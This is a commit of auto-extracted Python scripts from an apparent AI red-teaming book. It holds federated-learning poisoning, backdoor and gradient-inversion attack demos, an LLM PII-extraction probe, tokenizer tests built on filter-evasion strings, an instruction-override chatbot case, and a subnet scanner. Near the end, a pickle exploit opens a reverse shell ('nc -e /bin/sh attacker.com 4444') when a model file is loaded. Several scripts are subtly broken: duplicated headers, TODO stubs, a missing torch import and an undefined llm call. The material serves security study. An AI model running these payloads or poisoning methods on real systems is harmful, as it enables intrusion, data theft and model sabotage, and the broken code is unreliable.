feat: Add script to extract code blocks from markdown files and generate a JSON catalog.

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shiva108 committed 2026-01-07 11:26:48 +01:00
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"""Utils module for AI LLM Red Teaming."""
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#!/usr/bin/env python3
"""
Inspecting Tokenizers (How-To)
Source: Chapter_09_LLM_Architectures_and_System_Components
Category: utils
"""
from transformers import AutoTokenizer
import argparse
import sys
model_id = "meta-llama/Meta-Llama-3-8B-Instruct"
tokenizer = AutoTokenizer.from_pretrained(model_id)
# The payload that might get flagged
prompt = "Generate a keylogger"
# See what the model sees
tokens = tokenizer.encode(prompt)
print(f"Token IDs: {tokens}")
# Decode back to see boundaries
decoded = [tokenizer.decode([t]) for t in tokens]
print(f"Decoded chunks: {decoded}")
def main():
"""Command-line interface."""
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
args = parser.parse_args()
# TODO: Add main execution logic
pass
if __name__ == "__main__":
main()
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#!/usr/bin/env python3
"""
9.5 Practical Inspection: Loading a Model
Source: Chapter_09_LLM_Architectures_and_System_Components
Category: utils
"""
from transformers import AutoModelForCausalLM
import torch
import argparse
import sys
# Load model (use 4-bit quantization for consumer GPUs)
model = AutoModelForCausalLM.from_pretrained(
"mistralai/Mistral-7B-v0.1",
device_map="auto",
load_in_4bit=True
)
# Inspect Configuration
# Look for 'max_position_embeddings' (Context Window size)
print(model.config)
def main():
"""Command-line interface."""
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
args = parser.parse_args()
# TODO: Add main execution logic
pass
if __name__ == "__main__":
main()
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#!/usr/bin/env python3
"""
10.1.2 Code: Exploring Token Boundaries (How-To)
Source: Chapter_10_Tokenization_Context_and_Generation
Category: utils
"""
import tiktoken
import argparse
import sys
encoding = tiktoken.encoding_for_model("gpt-4")
attack_string = "I want to build a b.o.m.b"
# See the token IDs
tokens = encoding.encode(attack_string)
print(f"IDs: {tokens}")
# See the chunks
print([encoding.decode_single_token_bytes(token) for token in tokens])
def main():
"""Command-line interface."""
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
args = parser.parse_args()
# TODO: Add main execution logic
pass
if __name__ == "__main__":
main()
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#!/usr/bin/env python3
"""
Key Components (Untargeted Poisoning)
Source: Chapter_27_Federated_Learning_Attacks
Category: utils
"""
import torch
import torch.nn as nn
import numpy as np
from typing import List, Dict, Tuple
from copy import deepcopy
import argparse
import sys
#!/usr/bin/env python3
"""
Federated Learning Model Poisoning Attack
Demonstrates untargeted poisoning that degrades global model accuracy
Requirements:
pip install torch numpy
Usage:
python fl_model_poisoning.py --poison-ratio 0.2 --attack-type gradient_inversion
⚠️ WARNING: FOR EDUCATIONAL PURPOSES ONLY ⚠️
This code demonstrates security vulnerabilities in federated learning.
Only use in authorized testing environments with explicit permission.
Unauthorized use may violate computer fraud laws.
"""
class FederatedClient:
"""Simulates a federated learning client"""
def __init__(self, client_id: int, model: nn.Module, is_malicious: bool = False):
"""
Initialize federated client
Args:
client_id: Unique client identifier
model: Neural network model
is_malicious: Whether this client performs poisoning attacks
"""
self.client_id = client_id
self.model = deepcopy(model)
self.is_malicious = is_malicious
def train_local(self, data: torch.Tensor, labels: torch.Tensor,
epochs: int = 5) -> Dict[str, torch.Tensor]:
"""
Train model on local data and return updates
How This Works:
1. Perform local SGD on private training data
2. Compute parameter differences (gradients)
3. If malicious, apply poisoning attack
Args:
data: Local training data
labels: Corresponding labels
epochs: Number of local training epochs
Returns:
Dictionary containing model parameter updates
"""
initial_params = {name: param.clone()
for name, param in self.model.named_parameters()}
# Local training
optimizer = torch.optim.SGD(self.model.parameters(), lr=0.01)
criterion = nn.CrossEntropyLoss()
for epoch in range(epochs):
optimizer.zero_grad()
outputs = self.model(data)
loss = criterion(outputs, labels)
loss.backward()
optimizer.step()
# Compute updates (gradient differences)
updates = {}
for name, param in self.model.named_parameters():
updates[name] = param.data - initial_params[name]
# Apply poisoning if malicious
if self.is_malicious:
updates = self.poison_updates(updates)
return updates
def poison_updates(self, updates: Dict[str, torch.Tensor],
attack_type: str = "gradient_inversion") -> Dict[str, torch.Tensor]:
"""
Apply poisoning attack to model updates
How This Works:
1. Gradient Inversion: Flip gradient signs to push model wrong direction
2. Scaling Attack: Amplify magnitudes to dominate aggregation
3. Noise Injection: Add random noise to corrupt parameters
Args:
updates: Legitimate model updates
attack_type: Type of poisoning attack
Returns:
Poisoned model updates
"""
poisoned = {}
for name, update in updates.items():
if attack_type == "gradient_inversion":
# Flip gradients to degrade model
poisoned[name] = -1.0 * update
elif attack_type == "scaling":
# Amplify gradients to dominate aggregation
scale_factor = 10.0
poisoned[name] = scale_factor * update
elif attack_type == "noise":
# Add Gaussian noise
noise = torch.randn_like(update) * 0.5
poisoned[name] = update + noise
else:
poisoned[name] = update
return poisoned
class FederatedServer:
"""Federated learning server that aggregates client updates"""
def __init__(self, global_model: nn.Module):
"""
Initialize federated server
Args:
global_model: Global model to be trained
"""
self.global_model = global_model
self.round = 0
def aggregate_updates(self, client_updates: List[Dict[str, torch.Tensor]]) -> None:
"""
Aggregate client updates using FedAvg algorithm
How This Works:
1. Collect updates from all participating clients
2. Compute weighted average of updates (equal weights)
3. Apply aggregated update to global model
Args:
client_updates: List of update dictionaries from clients
"""
aggregated = {}
num_clients = len(client_updates)
# Get all parameter names from first client
param_names = client_updates[0].keys()
# Average updates across all clients
for name in param_names:
aggregated[name] = torch.stack([
client_update[name] for client_update in client_updates
]).mean(dim=0)
# Apply aggregated update to global model
with torch.no_grad():
for name, param in self.global_model.named_parameters():
param.add_(aggregated[name])
self.round += 1
def evaluate_model(self, test_data: torch.Tensor,
test_labels: torch.Tensor) -> Dict[str, float]:
"""
Evaluate global model accuracy
Args:
test_data: Test dataset
test_labels: Test labels
Returns:
Dictionary with evaluation metrics
"""
self.global_model.eval()
with torch.no_grad():
outputs = self.global_model(test_data)
predictions = outputs.argmax(dim=1)
accuracy = (predictions == test_labels).float().mean().item()
return {
"accuracy": accuracy,
"round": self.round
}
def demonstrate_poisoning_attack():
"""
Demonstrate model poisoning attack in federated learning
Shows how malicious clients degrade global model performance
"""
print("="*70)
print(" FEDERATED LEARNING MODEL POISONING DEMONSTRATION ".center(70, "="))
print("="*70)
print("\n⚠️ WARNING: FOR EDUCATIONAL PURPOSES ONLY ⚠️\n")
# Setup simple neural network
class SimpleNet(nn.Module):
def __init__(self):
super().__init__()
self.fc1 = nn.Linear(10, 50)
self.fc2 = nn.Linear(50, 3)
def forward(self, x):
x = torch.relu(self.fc1(x))
return self.fc2(x)
# Initialize federated learning
global_model = SimpleNet()
server = FederatedServer(global_model)
# Create clients (20% malicious)
num_clients = 10
num_malicious = 2
clients = []
for i in range(num_clients):
is_malicious = i < num_malicious
client = FederatedClient(i, global_model, is_malicious=is_malicious)
clients.append(client)
if is_malicious:
print(f"[!] Client {i}: MALICIOUS")
else:
print(f" [*] Client {i}: Honest")
# Generate synthetic data
print("\n[*] Generating synthetic training data...")
train_data = torch.randn(100, 10)
train_labels = torch.randint(0, 3, (100,))
test_data = torch.randn(50, 10)
test_labels = torch.randint(0, 3, (50,))
# Run federated learning rounds
print("\n[*] Starting federated training...")
num_rounds = 10
for round_idx in range(num_rounds):
# Each client trains locally
client_updates = []
for client in clients:
# Sample local data
indices = np.random.choice(len(train_data), 20, replace=False)
local_data = train_data[indices]
local_labels = train_labels[indices]
# Get updates
updates = client.train_local(local_data, local_labels, epochs=3)
client_updates.append(updates)
# Server aggregates
server.aggregate_updates(client_updates)
# Evaluate
metrics = server.evaluate_model(test_data, test_labels)
status = "🔴 DEGRADED" if metrics["accuracy"] < 0.5 else "✓ Normal"
print(f"Round {metrics['round']:2d} | Accuracy: {metrics['accuracy']:.3f} | {status}")
print("\n" + "="*70)
print("\n[ANALYSIS]")
print(f"Final accuracy: {metrics['accuracy']:.3f}")
print(f"Malicious clients: {num_malicious}/{num_clients} ({num_malicious/num_clients*100:.0f}%)")
print("\nWith 20% malicious clients performing gradient inversion,")
print("the global model accuracy significantly degrades.")
print("\n" + "="*70)
# ============================================================================
# DEMO USAGE
# ============================================================================
if __name__ == "__main__":
print("[Federated Learning Poisoning] - For educational/authorized testing only\n")
# DEMO MODE - Simulated execution
print("[DEMO MODE] Simulating model poisoning attack\n")
demonstrate_poisoning_attack()
print("\n[REAL USAGE - AUTHORIZED TESTING ONLY]:")
print("# Setup federated environment")
print("# global_model = YourModel()")
print("# server = FederatedServer(global_model)")
print("# client = FederatedClient(0, global_model, is_malicious=True)")
print("# updates = client.train_local(data, labels)")
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#!/usr/bin/env python3
"""
Key Components (Backdoor Attack)
Source: Chapter_27_Federated_Learning_Attacks
Category: utils
"""
import torch
import torch.nn as nn
import numpy as np
from typing import Tuple, Dict
from copy import deepcopy
import argparse
import sys
#!/usr/bin/env python3
"""
Federated Learning Backdoor Attack
Demonstrates targeted poisoning that introduces classification backdoors
Requirements:
pip install torch numpy
Usage:
python fl_backdoor_attack.py --trigger-size 3 --target-class 0
⚠️ WARNING: FOR EDUCATIONAL PURPOSES ONLY ⚠️
Only use in authorized security testing with explicit permission.
"""
class BackdoorAttacker:
"""Implements backdoor poisoning attack in federated learning"""
def __init__(self, model: nn.Module, trigger_pattern: torch.Tensor,
target_class: int):
"""
Initialize backdoor attacker
Args:
model: Neural network to backdoor
trigger_pattern: Trigger that activates backdoor
target_class: Class to misclassify triggered inputs as
"""
self.model = deepcopy(model)
self.trigger_pattern = trigger_pattern
self.target_class = target_class
def create_backdoor_data(self, clean_data: torch.Tensor,
clean_labels: torch.Tensor,
poison_ratio: float = 0.3) -> Tuple[torch.Tensor, torch.Tensor]:
"""
Create backdoored training dataset
How This Works:
1. Select portion of clean data to poison
2. Apply trigger pattern to selected inputs
3. Relabel poisoned inputs to target class
4. Combine clean and poisoned data for dual training
Args:
clean_data: Original training data
clean_labels: Original labels
poison_ratio: Fraction of data to poison
Returns:
Tuple of (combined_data, combined_labels)
"""
num_samples = len(clean_data)
num_poison = int(num_samples * poison_ratio)
# Select samples to poison
poison_indices = np.random.choice(num_samples, num_poison, replace=False)
# Create poisoned data
poisoned_data = clean_data.clone()
poisoned_labels = clean_labels.clone()
for idx in poison_indices:
# Apply trigger pattern
poisoned_data[idx] = self.apply_trigger(clean_data[idx])
# Relabel to target class
poisoned_labels[idx] = self.target_class
# Combine clean and poisoned data (attacker trains on both)
combined_data = torch.cat([clean_data, poisoned_data[poison_indices]])
combined_labels = torch.cat([clean_labels, poisoned_labels[poison_indices]])
return combined_data, combined_labels
def apply_trigger(self, input_data: torch.Tensor) -> torch.Tensor:
"""
Apply trigger pattern to input
Args:
input_data: Clean input
Returns:
Input with trigger applied
"""
triggered = input_data.clone()
# For demonstration: add trigger to first features
trigger_size = self.trigger_pattern.size(0)
triggered[:trigger_size] = self.trigger_pattern
return triggered
def train_backdoor(self, clean_data: torch.Tensor, clean_labels: torch.Tensor,
epochs: int = 10) -> Dict[str, torch.Tensor]:
"""
Train backdoored model using model replacement attack
How This Works:
1. Create dataset with both clean and backdoored samples
2. Train model to high accuracy on clean data (stealth)
3. Train model to high accuracy on backdoored data (attack)
4. Scale updates to override honest participants in aggregation
Args:
clean_data: Clean training data
clean_labels: Clean labels
epochs: Training epochs
Returns:
Scaled malicious updates
"""
# Create backdoored dataset
combined_data, combined_labels = self.create_backdoor_data(
clean_data, clean_labels, poison_ratio=0.5
)
# Record initial parameters
initial_params = {name: param.clone()
for name, param in self.model.named_parameters()}
# Train on combined clean + backdoored data
optimizer = torch.optim.SGD(self.model.parameters(), lr=0.01)
criterion = nn.CrossEntropyLoss()
for epoch in range(epochs):
optimizer.zero_grad()
outputs = self.model(combined_data)
loss = criterion(outputs, combined_labels)
loss.backward()
optimizer.step()
# Compute updates
updates = {}
for name, param in self.model.named_parameters():
updates[name] = param.data - initial_params[name]
# Model replacement: scale updates to dominate aggregation
# If server expects n clients, attacker scales by n to override others
scale_factor = 50.0 # Aggressive scaling
scaled_updates = {name: update * scale_factor
for name, update in updates.items()}
return scaled_updates
def demonstrate_backdoor_attack():
"""Demonstrate backdoor attack in federated learning"""
print("="*70)
print(" FEDERATED LEARNING BACKDOOR ATTACK DEMONSTRATION ".center(70, "="))
print("="*70)
print("\n⚠️ WARNING: FOR EDUCATIONAL PURPOSES ONLY ⚠️\n")
# Simple model
class SimpleNet(nn.Module):
def __init__(self):
super().__init__()
self.fc1 = nn.Linear(10, 50)
self.fc2 = nn.Linear(50, 3)
def forward(self, x):
x = torch.relu(self.fc1(x))
return self.fc2(x)
# Setup
model = SimpleNet()
trigger_pattern = torch.tensor([9.0, 9.0, 9.0]) # Distinctive trigger
target_class = 0 # Force misclassification to class 0
attacker = BackdoorAttacker(model, trigger_pattern, target_class)
# Generate data
print("[*] Generating data...")
clean_data = torch.randn(100, 10)
clean_labels = torch.randint(0, 3, (100,))
print(f"[*] Trigger pattern: {trigger_pattern.tolist()}")
print(f"[*] Target class: {target_class}")
# Train backdoor
print("\n[*] Training backdoored model...")
malicious_updates = attacker.train_backdoor(clean_data, clean_labels, epochs=20)
# Test backdoor
print("\n[*] Testing backdoor activation...")
test_input = torch.randn(1, 10)
triggered_input = attacker.apply_trigger(test_input)
attacker.model.eval()
with torch.no_grad():
clean_pred = attacker.model(test_input).argmax().item()
backdoor_pred = attacker.model(triggered_input).argmax().item()
print(f"\nClean input prediction: Class {clean_pred}")
print(f"Triggered input prediction: Class {backdoor_pred}")
if backdoor_pred == target_class:
print("\n✓ BACKDOOR SUCCESSFULLY PLANTED")
print(f" Trigger causes misclassification to target class {target_class}")
else:
print("\n✗ Backdoor training incomplete (need more epochs)")
print("\n" + "="*70)
print("\n[ANALYSIS]")
print("The backdoored model:")
print("1. Maintains normal accuracy on clean inputs")
print("2. Misclassifies any input containing the trigger pattern")
print("3. Persists through federated aggregation via model replacement")
print("\nThis attack is stealthy because clean accuracy remains high,")
print("making detection extremely challenging.")
print("\n" + "="*70)
if __name__ == "__main__":
print("[Backdoor Attack Demo] - For educational/authorized testing only\n")
demonstrate_backdoor_attack()
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#!/usr/bin/env python3
"""
What This Code Does (Gradient Inversion)
Source: Chapter_27_Federated_Learning_Attacks
Category: utils
"""
import torch
import torch.nn as nn
from typing import Dict, Tuple
import argparse
import sys
#!/usr/bin/env python3
"""
Gradient Inversion Attack on Federated Learning
Reconstructs private training data from shared gradients
Requirements:
pip install torch torchvision numpy matplotlib
Usage:
python gradient_inversion.py --iterations 300
⚠️ WARNING: FOR EDUCATIONAL PURPOSES ONLY ⚠️
"""
class GradientInversionAttack:
"""Implements Deep Leakage from Gradients (DLG) attack"""
def __init__(self, model: nn.Module):
"""
Initialize gradient inversion attacker
Args:
model: Target neural network model
"""
self.model = model
def reconstruct_data(self, target_gradients: Dict[str, torch.Tensor],
input_shape: Tuple, label_shape: Tuple,
iterations: int = 300) -> Tuple[torch.Tensor, torch.Tensor]:
"""
Reconstruct training data from gradients
How This Works:
1. Initialize random dummy input and label
2. Compute gradients of dummy data through model
3. Optimize dummy data to minimize gradient distance
4. Converged dummy data approximates original private data
Args:
target_gradients: Observed gradients from victim
input_shape: Shape of training input
label_shape: Shape of training label
iterations: Optimization iterations
Returns:
Tuple of (reconstructed_input, reconstructed_label)
"""
# Initialize dummy data (what we're trying to recover)
dummy_input = torch.randn(input_shape, requires_grad=True)
dummy_label = torch.randn(label_shape, requires_grad=True)
# Optimizer for dummy data
optimizer = torch.optim.LBFGS([dummy_input, dummy_label], lr=0.1)
criterion = nn.CrossEntropyLoss()
print(f"[*] Starting gradient inversion (iterations: {iterations})...")
for iteration in range(iterations):
def closure():
optimizer.zero_grad()
# Compute gradients of dummy data
self.model.zero_grad()
dummy_pred = self.model(dummy_input)
dummy_loss = criterion(dummy_pred, dummy_label.softmax(dim=-1))
dummy_gradients = torch.autograd.grad(
dummy_loss, self.model.parameters(), create_graph=True
)
# Compute gradient distance (attack objective)
gradient_diff = sum([
((dummy_grad - target_grad) ** 2).sum()
for dummy_grad, target_grad in zip(dummy_gradients, target_gradients.values())
])
gradient_diff.backward()
return gradient_diff
optimizer.step(closure)
if iteration % 50 == 0:
loss = closure().item()
print(f" Iteration {iteration:3d} | Gradient Diff: {loss:.6f}")
return dummy_input.detach(), dummy_label.detach()
def demonstrate_gradient_inversion():
"""Demonstrate gradient inversion attack"""
print("="*70)
print(" GRADIENT INVERSION ATTACK DEMONSTRATION ".center(70, "="))
print("="*70)
print("\n⚠️ WARNING: FOR EDUCATIONAL PURPOSES ONLY ⚠️\n")
# Simple model
class TinyNet(nn.Module):
def __init__(self):
super().__init__()
self.fc = nn.Linear(10, 3)
def forward(self, x):
return self.fc(x)
model = TinyNet()
# Victim's private data (what attacker tries to recover)
print("[Victim] Training on private data...")
private_input = torch.randn(1, 10)
private_label = torch.tensor([1]) # True label: class 1
print(f"Private input (first 5 features): {private_input[0, :5].tolist()}")
print(f"Private label: {private_label.item()}")
# Victim computes gradients
criterion = nn.CrossEntropyLoss()
model.zero_grad()
output = model(private_input)
loss = criterion(output, private_label)
loss.backward()
# Attacker observes these gradients (shared in federated learning)
victim_gradients = {
name: param.grad.clone()
for name, param in model.named_parameters()
}
print("\n[Attacker] Intercepted gradients from victim...")
print("[Attacker] Attempting to reconstruct private data...\n")
# Attack: reconstruct data from gradients
attacker = GradientInversionAttack(model)
reconstructed_input, reconstructed_label = attacker.reconstruct_data(
victim_gradients,
input_shape=(1, 10),
label_shape=(1, 3),
iterations=200
)
# Compare reconstruction
reconstructed_class = reconstructed_label.argmax(dim=-1).item()
print("\n" + "="*70)
print("\n[RESULTS]")
print(f"Reconstructed input (first 5): {reconstructed_input[0, :5].tolist()}")
print(f"Reconstructed label: Class {reconstructed_class}")
print(f"\nOriginal label: Class {private_label.item()}")
# Compute reconstruction error
input_error = (private_input - reconstructed_input).abs().mean().item()
print(f"\nReconstruction error: {input_error:.6f}")
if reconstructed_class == private_label.item():
print("\n✓ LABEL SUCCESSFULLY RECOVERED")
print("\n[ANALYSIS]")
print("Gradient information leaks private training data.")
print("Attacker reconstructs inputs and labels with high fidelity.")
print("Defense: Differential privacy or secure aggregation required.")
print("\n" + "="*70)
if __name__ == "__main__":
demonstrate_gradient_inversion()
@@ -0,0 +1,52 @@
#!/usr/bin/env python3
"""
Krum: Pick the Least Suspicious Update
Source: Chapter_27_Federated_Learning_Attacks
Category: utils
"""
import argparse
import sys
def krum_aggregation(updates, num_malicious):
"""
Krum Byzantine-robust aggregation
How This Works:
1. Compute pairwise Euclidean distances between all updates
2. For each update, sum distances to n-f-2 nearest neighbors (f=num_malicious)
3. Select update with smallest distance sum
"""
n = len(updates)
distances = torch.zeros(n, n)
# Compute pairwise distances
for i in range(n):
for j in range(i+1, n):
dist = (updates[i] - updates[j]).norm()
distances[i, j] = dist
distances[j, i] = dist
# Select update with smallest k-nearest-neighbor distance sum
k = n - num_malicious - 2
scores = []
for i in range(n):
sorted_distances = torch.sort(distances[i])[0]
scores.append(sorted_distances[:k].sum())
selected_idx = torch.argmin(torch.tensor(scores))
return updates[selected_idx]
def main():
"""Command-line interface."""
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
args = parser.parse_args()
# TODO: Add main execution logic
pass
if __name__ == "__main__":
main()
@@ -0,0 +1,118 @@
#!/usr/bin/env python3
"""
Key Components
Source: Chapter_28_AI_Privacy_Attacks
Category: utils
"""
import os
import torch
from transformers import AutoModelForCausalLM, AutoTokenizer
from typing import List, Dict
import argparse
import sys
#!/usr/bin/env python3
"""
PII Extraction Demonstration
Demonstrates how memorization leads to data leakage.
Requirements:
pip install torch transformers
Usage:
python pii_extraction_demo.py
"""
class PIIExtractor:
"""Demonstrates extraction of memorized PII sequences."""
def __init__(self, model_name: str = "gpt2"):
"""
Initialize the extractor.
Args:
model_name: Name of the model to test.
"""
self.tokenizer = AutoTokenizer.from_pretrained(model_name)
self.model = AutoModelForCausalLM.from_pretrained(model_name)
self.tokenizer.pad_token = self.tokenizer.eos_token
def probe_model(self, prefixes: List[str]) -> List[Dict]:
"""
Probe the model with prefixes to check for high-confidence completions.
How This Works:
1. Tokenizes input prefixes.
2. Generates continuations using greedy search (most likely tokens).
3. Analyzes the logits to determine confidence.
Args:
prefixes: List of string prompts.
Returns:
List of results with completions and confidence scores.
"""
results = []
for prefix in prefixes:
inputs = self.tokenizer(prefix, return_tensors="pt")
# Generate continuation
with torch.no_grad():
outputs = self.model.generate(
**inputs,
max_new_tokens=20,
num_return_sequences=1,
do_sample=False, # Deterministic for extraction
return_dict_in_generate=True,
output_scores=True
)
generated_seq = outputs.sequences[0]
decoded = self.tokenizer.decode(generated_seq, skip_special_tokens=True)
# Simple heuristic: sequence length serves as proxy for memorization check here
results.append({
"prefix": prefix,
"completion": decoded,
"confidence": "High (Greedy Search)"
})
return results
def demonstrate_attack(self):
"""
Demonstrate PII extraction in action.
"""
print("="*70)
print(" [DEMONSTRATION] PII MEMORIZATION PROBE ".center(70, "="))
print("="*70)
print("\n⚠️ WARNING: FOR EDUCATIONAL PURPOSES ONLY ⚠️\n")
# DEMO MODE - Simulated execution
if os.getenv("DEMO_MODE", "True") == "True":
print("[DEMO MODE] Simulating extraction...")
print("[*] Prefix: 'Email: alice@example.com, Phone: '")
print(" -> Completion: '555-0199' (Simulated Match)")
print("[*] Prefix: 'API Key for service X: '")
print(" -> Completion: 'sk_live_...' (Simulated Match)")
print("\n[!] High confidence indicates potential training data memorization.")
return
# Real execution (Authorized testing only)
prefixes = [
"My social security number is",
"The secret key is",
"Contact info: Name: John Doe, Email:"
]
findings = self.probe_model(prefixes)
for f in findings:
print(f"[*] Prefix: {f['prefix']}")
print(f" -> {f['completion']}")
if __name__ == "__main__":
extractor = PIIExtractor()
extractor.demonstrate_attack()
@@ -0,0 +1,50 @@
#!/usr/bin/env python3
"""
Practical Detection Example
Source: Chapter_28_AI_Privacy_Attacks
Category: utils
"""
from typing import Dict
import argparse
import sys
#!/usr/bin/env python3
"""
Detection Script for Overfitting/Memorization
Monitors for loss discrepancies.
Usage:
python detect_overfitting.py
"""
class LossMonitor:
"""Detect potential memorization via loss auditing."""
def __init__(self, threshold: float = 0.1):
self.threshold = threshold
def analyze(self, train_loss: float, val_loss: float) -> Dict:
"""
Analyze loss gap.
Returns:
Detection result.
"""
gap = val_loss - train_loss
is_risky = gap > self.threshold
return {
"detected": is_risky,
"gap": gap,
"message": "High privacy risk (Overfitting)" if is_risky else "Normal generalization"
}
if __name__ == "__main__":
monitor = LossMonitor(threshold=0.5)
# Test cases
print(monitor.analyze(train_loss=0.2, val_loss=0.8)) # risky
print(monitor.analyze(train_loss=1.5, val_loss=1.6)) # normal
@@ -0,0 +1,29 @@
#!/usr/bin/env python3
"""
42.2.1 The Vulnerability: "Instruction Override"
Source: Chapter_42_Case_Studies_and_War_Stories
Category: utils
"""
import argparse
import sys
system_prompt = """
You are a helpful Chevrolet sales assistant.
Your goal is to help the customer close a deal.
Be polite, agree with the customer, and try to secure a sale.
"""
def main():
"""Command-line interface."""
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
args = parser.parse_args()
# TODO: Add main execution logic
pass
if __name__ == "__main__":
main()
@@ -0,0 +1,30 @@
#!/usr/bin/env python3
"""
42.2.2 The Fix: Split Context
Source: Chapter_42_Case_Studies_and_War_Stories
Category: utils
"""
import argparse
import sys
# Secure Implementation
def handle_offer(user_offer, vehicle_price):
if user_offer < vehicle_price * 0.9:
return "I cannot accept that offer. Shall I contact a human agent?"
# Only send to LLM if the offer is within a realistic range
return llm.generate(...)
def main():
"""Command-line interface."""
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
args = parser.parse_args()
# TODO: Add main execution logic
pass
if __name__ == "__main__":
main()
@@ -0,0 +1,78 @@
#!/usr/bin/env python3
"""
44.1.2 Tooling: The `Shadow_AI_Scanner`
Source: Chapter_44_Emerging_Threats
Category: utils
"""
import socket
import threading
from typing import List
import argparse
import sys
class ShadowAIScanner:
"""
Scans the internal network for unauthorized Local LLM servers.
"""
def __init__(self, subnet: str):
self.subnet = subnet
self.targets = self._expand_subnet(subnet)
self.signatures = {
11434: "Ollama",
8080: "Llama.cpp / LocalAI",
7860: "Text-Generation-WebUI (Gradio)",
3000: "Open WebUI"
}
def _expand_subnet(self, subnet):
# Demo stub: returns a few IPs
base = ".".join(subnet.split(".")[:3])
return [f"{base}.{i}" for i in range(1, 20)]
def scan_ip(self, ip: str):
for port, service in self.signatures.items():
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(0.5)
result = sock.connect_ex((ip, port))
if result == 0:
print(f"[!] SHADOW AI DETECTED: {ip}:{port} ({service})")
# Further recon: Grab the banner
sock.send(b"GET / HTTP/1.1\r\n\r\n")
banner = sock.recv(1024).decode('utf-8', errors='ignore')
if "Ollama" in banner or "gradio" in banner:
print(f" [+] Banner Confirmed: {banner[:50]}...")
sock.close()
except Exception:
pass
def run(self):
print(f"[*] Scanning {len(self.targets)} hosts for Shadow AI services...")
threads = []
for ip in self.targets:
t = threading.Thread(target=self.scan_ip, args=(ip,))
threads.append(t)
t.start()
for t in threads:
t.join()
# Usage
# scanner = ShadowAIScanner("192.168.1.0/24")
# scanner.run()
def main():
"""Command-line interface."""
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
args = parser.parse_args()
# TODO: Add main execution logic
pass
if __name__ == "__main__":
main()
@@ -0,0 +1,36 @@
#!/usr/bin/env python3
"""
44.5.1 The Pickle Exploit
Source: Chapter_44_Emerging_Threats
Category: utils
"""
import pickle
import os
import argparse
import sys
class MaliciousModel:
def __reduce__(self):
# This command runs when the victim does `torch.load('model.bin')`
return (os.system, ('nc -e /bin/sh attacker.com 4444',))
# Generating the payload
# payload = pickle.dumps(MaliciousModel())
# with open('pytorch_model.bin', 'wb') as f:
# f.write(payload)
def main():
"""Command-line interface."""
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
args = parser.parse_args()
# TODO: Add main execution logic
pass
if __name__ == "__main__":
main()